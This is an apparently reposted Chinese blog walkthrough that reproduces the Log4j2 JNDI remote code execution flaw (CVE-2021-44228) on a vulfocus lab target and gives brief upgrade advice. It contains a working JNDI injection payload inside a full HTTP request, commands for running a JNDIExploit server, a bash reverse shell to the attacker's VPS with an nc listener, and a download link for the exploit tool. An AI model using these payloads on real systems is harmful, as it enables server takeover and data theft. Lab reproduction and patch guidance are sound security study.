[转]Apache Log4j2远程代码执行漏洞复现及修复建议
作者:互联网
环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
背景:
Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)
漏洞编号:
CNVD-2021-95914
CVE-2021-44228
影响版本:
经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2
影响力度:
2021.12.09 漏洞爆出后,新一轮拒绝服务漏洞相继爆出。各种测试网图流传,堪比安全圈过年,各类java项目、全球大厂几乎都受漏洞影响,且利用难度级低,严重程度级高,看图吃瓜:
百度:
苹果:
网易云:
无厘头:
环境搭建:
方式一
靶机地址:http://vulfocus.fofa.so/#
方式二
docker搭建:docker pull vulfocus/log4j2-rce-2021-12-09:latest
靶机访问如下:
验证漏洞是否存在:
1、使用Dnslog平台验证:
Dnslog地址:http://www.dnslog.cn/
2、使用burpsuit抓包,构造poc请求:
poc → ${jndi:ldap://dnslog address/poc}
3、Dnslog平台收到请求,证明漏洞存在。
漏洞利用:
利用工具:
链接:https://pan.baidu.com/s/1ABBPDmtMQktehVBt5MYwvg
提取码:gr3n
-
使用圈内大佬的漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包 ;
-
在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ... -l 7000 -p 5000
//注意:外网环境利用需要出外网,命令中填写公网IP
JNDI服务启动如下:
利用方式一(远程命令执行拿flag)
-
抓包,构造payload请求包
//构造后的请求包
POST /hello HTTP/1.1
Host: vulfocus.fofa.so:22151
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636684504,1638936049; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1639040366; Hm_lvt_deaeca6802357287fb453f342ce28dda=1637137942,1639100636,1639115500; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo5MzUyLCJ1c2VybmFtZSI6ImFmdGVyIiwiZXhwIjoxNjM5NDY0NzUxLCJlbWFpbCI6IjE5Nzc0NjU0NDFAcXEuY29tIn0.YnY3gk_aKKdcdZ954LndmQZji66gOtGeMgHQ-jtjYQg; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1639385736
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
cmd:ls /tmppayload=${jndi:ldap://...:7000/TomcatBypass/TomcatEcho}
成功命令回显,拿到flag
利用方式二(反弹shell,控制靶机)
-
利用bash反弹shell
同方式一请求包cmd命令换成:
/bin/bash -c ‘bash -i >& /dev/tcp/.../5001 0>&1’ -
vps接收shell
nc -lvvp 5001
如下如,成功反弹shell,控制靶机:
解决方案:
-
升级至 log4j-2.15.0-rc2
下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-
对于漏洞整改及排查推荐大佬的文章:
(针对无法立即升级用户)
https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA
作者:. after
来源:CSDN
原文:https://blog.csdn.net/isxiaole/article/details/121912039
版权声明:本文为作者原创文章,转载请附上博文链接!
标签:application,漏洞,代码执行,Apache,靶机,Log4j2,2.15 来源: https://blog.csdn.net/weixin_45588247/article/details/122598932